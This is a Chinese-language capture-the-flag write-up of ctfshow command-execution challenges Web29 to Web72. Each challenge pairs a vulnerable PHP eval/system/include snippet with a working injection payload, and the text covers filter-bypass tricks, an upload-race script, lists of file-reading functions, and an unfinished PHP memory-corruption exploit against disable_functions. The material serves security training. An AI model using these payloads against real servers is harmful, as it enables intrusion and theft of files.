ctfshow命令执行刷题记录


Web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c']))&#123;
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))&#123;
        eval($c);
    &#125;
    
&#125;else&#123;
    highlight_file(__FILE__);
&#125;

分析源码,它过滤了flag

?c=system("cat fl*");

Web30

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 00:42:26# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

分析发现,system函数,以及flagphp被过滤,所以考虑使用其他函数

PHP提供4个专门的执行外部命令的函数exec()system()passthru()shell_exec()

能够直接显示在网页上的只有两个函数,system()passthru()

所以直接

?c=passthru("cat fl*");

Web31

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 00:49:10# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

过滤了systemcat,考虑使用more代替cat使用tab(%09)替代空格,使用passthru代替system

所以直接

?c=passthru("more%09fl*");

Web32

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 00:56:31# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

过滤了空格可以用${IFS}%0a代替,分号可以用?>代替

但是过滤了(可太难了,后来考虑考虑哪些函数不需要用到括号

翻看了羽大佬的wp后,发现include可以不用括号

下面是其他不用括号的函数

<?phpecho 666;print 666;die;include "/etc/passwd";require "/etc/passwd";include_once "/etc/passwd";require_once "/etc/passwd";

php://input是个可以访问请求的原始数据的只读流

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字,filter,可以很容易想到这个协议可以用来过滤一些东西;

名称 描述 备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

convert.base64-encodeconvert.base64-decode使用这两个过滤器等同于分别用 base64_encode()base64_decode()函数处理所有的流数据

?c=include$_POST[a]?>post:a=php://filter/read=convert.base64-encode/resource=flag.php

把得到的数据进行base64解码得到flag

Web33

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 00:56:31# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

多过滤了个双引号,继续冲

?c=include$_POST[a]?>post:a=php://filter/read=convert.base64-encode/resource=flag.php

Web34

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 04:21:29# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

多过滤了一个冒号

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web35

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 04:21:23# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

多过滤一个<号和一个=号,不过没有影响,继续使用前面的payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web36

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 04:21:16# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))&#123;        eval($c);    &#125;    &#125;else&#123;    highlight_file(__FILE__);&#125;

这次增加过滤数字,但还是没有影响,继续使用前面payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 05:18:55# @email: h1xa@ctfer.com# @link: https://ctfer.com*///flag in flag.phperror_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag/i", $c))&#123;        include($c);        echo $flag;        &#125;        &#125;else&#123;    highlight_file(__FILE__);&#125;

新题,这次使用了include语句,过滤了flag

直接上data伪协议

?c=data://text/plain,<?=system("cat fla*");?>

Web38

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 05:23:36# @email: h1xa@ctfer.com# @link: https://ctfer.com*///flag in flag.phperror_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag|php|file/i", $c))&#123;        include($c);        echo $flag;        &#125;        &#125;else&#123;    highlight_file(__FILE__);&#125;

分析了一波,过滤flagphpfile,上一个payload继续用

?c=data://text/plain,<?=system("cat fla*");?>

Web39

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 06:13:21# @email: h1xa@ctfer.com# @link: https://ctfer.com*///flag in flag.phperror_reporting(0);if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/flag/i", $c))&#123;        include($c.".php");    &#125;        &#125;else&#123;    highlight_file(__FILE__);&#125;

这次减少了过滤,但是会再后面加上.php的后缀,然而我们前面的payload结尾是有一个?>进行了标签闭合,所以?>.php没有影响,继续使用前面payload

?c=data://text/plain,<?=system("cat fla*");?>

Web40

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-04 00:12:34# @Last Modified by:   h1xa# @Last Modified time: 2020-09-04 06:03:36# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c = $_GET['c'];    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\&#123;|\[|\]|\&#125;|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c))&#123;        eval($c);    &#125;        &#125;else&#123;    highlight_file(__FILE__);&#125;

回到了eval,但是过滤了很多东西,没有过滤掉英文的(),考虑使用无参数的rce进行构造读取文件

名称 作用
print_r(scandir(‘.’)) 查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

我们先打印出当前目录下的文件

?c=print_r(scandir(current(localeconv())));

image-20210928084929929

读取目录后发现,输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组

函数 作用
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
getcwd() 获取当前路径
show_source() 显示高亮代码

payload

?c=show_source(next(array_reverse(scandir(getcwd()))));

Web41

无法成功

Web42

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 20:51:55# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    system($c." >/dev/null 2>&1");&#125;else&#123;    highlight_file(__FILE__);&#125;

这次后面多了一个” >/dev/null 2>&1”语句,意思是写入的内容会永远消失,也就是不进行回显

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt2:/dev/null 代表空设备文件3:2> 表示stderr标准错误4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于15:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”那么本文标题的语句执行过程为:1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

输出就会被吞掉不进行回显,那该怎么办呢?其实很简单,用;号或者||等等一些命令分隔符进行命令分隔

payload

?c=cat flag.php;

Web43

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 21:32:51# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125;

payload:

?c=tac flag.php||

Web44

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 21:32:01# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/;|cat|flag/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125;

加了一个flag的过滤

Payload

?c=tac fl*||

Web45

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 21:35:34# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| /i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125;

加了空格过滤,可以考虑使用%09代替空格

Payload:

?c=tac%09fl*||

Web46

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 21:50:19# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

过滤加了一个*和数字

Payload:

?c=tac%09fla?.php||

We47

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 21:59:23# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

多过滤了几个读取文件的命令,但是没tac啥事,继续使用之前的payload

?c=tac%09fla?.php||

Web48

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 22:06:20# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

加了几个函数,依旧没啥影响,继续

payload:

?c=tac%09fla?.php||

Web49

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 22:22:43# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

依旧没啥影响,payload继续

?c=tac%09fla?.php||

Web50

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 22:32:47# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

这次把%进行了过滤,我们使用<>号进行绕过,这里通配符进行修改一下,<>和?一起没有显示出来,改用\进行绕过,paylaod如下

?c=tac<>fla\g.php||

Web51

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 22:42:52# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

过滤了tac,用\绕一下

?c=ta\c<>fla\g.php||

Web52

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-05 22:50:30# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))&#123;        system($c." >/dev/null 2>&1");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125;

过滤了尖括号,但是放空了$给我们,所以payload为

?c=ta\c$&#123;IFS&#125;fla\g.php||

image-20210928170601498

突然发现flag换地方了。。。。尴尬

?c=ls$&#123;IFS&#125;/||

发现在根目录下

image-20210928170746440

所以真正的payload为

?c=ta\c$&#123;IFS&#125;/fla?||

Web53

<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 18:21:02# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))&#123;        echo($c);        $d = system($c);        echo "<br>".$d;    &#125;else&#123;        echo 'no';    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

没有吞回显的问题了,直接爆

?c=ta\c$&#123;IFS&#125;fla?.php

Web54

 <?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 19:43:42# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))&#123;        system($c);    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

这次过滤了好多字母,也不能会用\的形式进行分割,但还有另一个读取的命令grep可以使用

grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来

所以我们可以构造payload如下,在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})

?c=grep${IFS}show${IFS}fl?g.php

Web55

<?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 20:03:51# @email: h1xa@ctfer.com# @link: https://ctfer.com*/// 你们在炫技吗?if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))&#123;        system($c);    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

这次把字母都给禁掉了,一般遇到这情况最容易想到的应该是进行异或运算等等办法进行构造,在这里他没有禁掉数字,我们有其他略微方便点的方法,就是通过匹配bin下存在的命令进行读取flag

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

这里没有禁用数字所以我们可以使用base64命令,构造如下

?c=/???/????64 ????.???也就是?c=/bin/base64 flag.php

Web56

 <?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 22:02:47# @email: h1xa@ctfer.com# @link: https://ctfer.com*/// 你们在炫技吗?if(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\&#123;|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))&#123;        system($c);    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125; 

这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。

这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母

在ascii码表中观察发现

在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件

所以我们的完整payload就是

?c=. /???/????????[@-[]并且同时上传我们的文件,文件内容里面是命令

写个脚本来完成

#-- coding:UTF-8 --# Author:dota_st# Date:2021/2/11 9:14# blog: www.wlhhlc.topimport requestswhile True:    url = "http://92a3d8ba-280b-4cb8-bd47-58b577bb6204.chall.ctf.show:8080/?c=. /???/????????[@-[]"    r = requests.post(url, files=&#123;"file": ("dota.txt", "cat flag.php")&#125;)    flag = r.text.split('ctfshow')    if len(flag) >1:        print(r.text)        break

Web57

 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-08 01:02:56# @email: h1xa@ctfer.com# @link: https://ctfer.com*/// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c']))&#123;    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c))&#123;        system("cat ".$c.".php");    &#125;&#125;else&#123;    highlight_file(__FILE__);&#125;

这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36

data = "$((~$(("+"$((~$(())))"*37+"))))"print(data)

payload

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

 <?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 22:02:47# @email: h1xa@ctfer.com# @link: https://ctfer.com*/// 你们在炫技吗?if(isset($_POST['c']))&#123;        $c= $_POST['c'];        eval($c);&#125;else&#123;    highlight_file(__FILE__);&#125;

一句话木马,喜大普奔,直接上蚁剑

不过应该是考读取文件的,我们使用读取文件函数进行读取flag,payload如下

c=show_source("flag.php");

读取文件函数用法

highlight_file($filename);show_source($filename);print_r(php_strip_whitespace($filename));print_r(file_get_contents($filename));readfile($filename);print_r(file($filename)); // var_dumpfread(fopen($filename,"r"), $size);include($filename); // 非php代码include_once($filename); // 非php代码require($filename); // 非php代码require_once($filename); // 非php代码print_r(fread(popen("cat flag", "r"), $size));print_r(fgets(fopen($filename, "r"))); // 读取一行fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOFprint_r(fgetcsv(fopen($filename,"r"), $size));print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记print_r(fscanf(fopen("flag", "r"),"%s"));print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

Web59

<?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 22:02:47# @email: h1xa@ctfer.com# @link: https://ctfer.com*/// 你们在炫技吗?if(isset($_POST['c']))&#123;        $c= $_POST['c'];        eval($c);&#125;else&#123;    highlight_file(__FILE__);&#125; 

代码没变,估计应该是禁用了一些函数 还是show_source

Web60

从这里开始一直到web65都可以用show_source通杀

Web66

show_source终于被禁用了,使用highlight_file

提示一句文件在根目录

Payload:

?c=highlight_file("/flag.txt");

Web67

同上

Web68

爆出根目录下文件情况

c=var_dump(scandir("/"));

highlight_file被禁用了那就上include

c=include("/flag.txt");

Web69

highlight_file()继续被禁用,使用var_dump发现继续被禁用,找一下资料发现几种读取目录的方式

print_r(glob("*")); // 列当前目录print_r(glob("/*")); // 列根目录print_r(scandir("."));print_r(scandir("/"));$d=opendir(".");while(false!==($f=readdir($d)))&#123;echo"$f\n";&#125;$d=dir(".");while(false!==($f=$d->read()))&#123;echo$f."\n";&#125;$a=glob("/*");foreach($a as $value)&#123;echo $value."   ";&#125;$a=new DirectoryIterator('glob:///*');foreach($a as $f)&#123;echo($f->__toString()." ");&#125;

前面4个print_r都被禁用了,我们使用后面四个任意一个都可以,原理是通过遍历数组的形式进行读取

c=$d=opendir("../../../");while(false!==($f=readdir($d)))&#123;echo"$f\n";&#125;

得到根目录下还是flag.txt,那直接上payload

c=include("/flag.txt");

Web70

同上

Web71

<?php/*# -*- coding: utf-8 -*-# @Author: Lazzaro# @Date:   2020-09-05 20:49:30# @Last Modified by:   h1xa# @Last Modified time: 2020-09-07 22:02:47# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c']))&#123;        $c= $_POST['c'];        eval($c);        $s = ob_get_contents();        ob_end_clean();        echo preg_replace("/[0-9]|[a-z]/i","?",$s);&#125;else&#123;    highlight_file(__FILE__);&#125;?>你要上天吗?

输出了一堆?号,看到源码中最后有个匹配,匹配到数字字母就会被替换成?号,不过因为这个语句是放在eval()函数后面的,我们直接加个强行退出命令即可,payload如下

c=include("/flag.txt");exit();

Web72

目录遍历payload

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f)&#123;echo($f->__toString()." ");&#125;;exit();

发现flag在flag0.txt,继续include执行,发现被禁用,然后发现open_basedir和disable_functions的限制

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

找到了群主发出的exp

exp

c=function ctfshow($cmd) &#123;    global $abc, $helper, $backtrace;    class Vuln &#123;        public $a;        public function __destruct() &#123;             global $backtrace;             unset($this->a);            $backtrace = (new Exception)->getTrace();            if(!isset($backtrace[1]['args'])) &#123;                $backtrace = debug_backtrace();            &#125;        &#125;    &#125;    class Helper &#123;        public $a, $b, $c, $d;    &#125;    function str2ptr(&$str, $p = 0, $s = 8) &#123;        $address = 0;        for($j = $s-1; $j >= 0; $j--) &#123;            $address <<= 8;            $address |= ord($str[$p+$j]);        &#125;        return $address;    &#125;    function ptr2str($ptr, $m = 8) &#123;        $out = "";        for ($i=0; $i < $m; $i++) &#123;            $out .= sprintf("%c",($ptr & 0xff));            $ptr >>= 8;        &#125;        return $out;    &#125;    function write(&$str, $p, $v, $n = 8) &#123;        $i = 0;        for($i = 0; $i < $n; $i++) &#123;            $str[$p + $i] = sprintf("%c",($v & 0xff));            $v >>= 8;        &#125;    &#125;    function leak($addr, $p = 0, $s = 8) &#123;        global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) &#123; $leak %= 2 << ($s * 8) - 1; &#125;        return $leak;    &#125;    function parse_elf($base) &#123;        $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) &#123;            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) &#123;                 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            &#125; else if($p_type == 1 && $p_flags == 5) &#123;                 $text_size = $p_memsz;            &#125;        &#125;        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    &#125;    function get_basic_funcs($base, $elf) &#123;        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) &#123;            $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) &#123;                $deref = leak($leak);                                if($deref != 0x746e6174736e6f63)                    continue;            &#125; else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) &#123;                $deref = leak($leak);                                if($deref != 0x786568326e6962)                    continue;            &#125; else continue;            return $data_addr + $i * 8;        &#125;    &#125;    function get_binary_base($binary_leak) &#123;        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) &#123;            $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) &#123;                return $addr;            &#125;        &#125;    &#125;    function get_system($basic_funcs) &#123;        $addr = $basic_funcs;        do &#123;            $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) &#123;                return leak($addr + 8);            &#125;            $addr += 0x20;        &#125; while($f_entry != 0);        return false;    &#125;    function 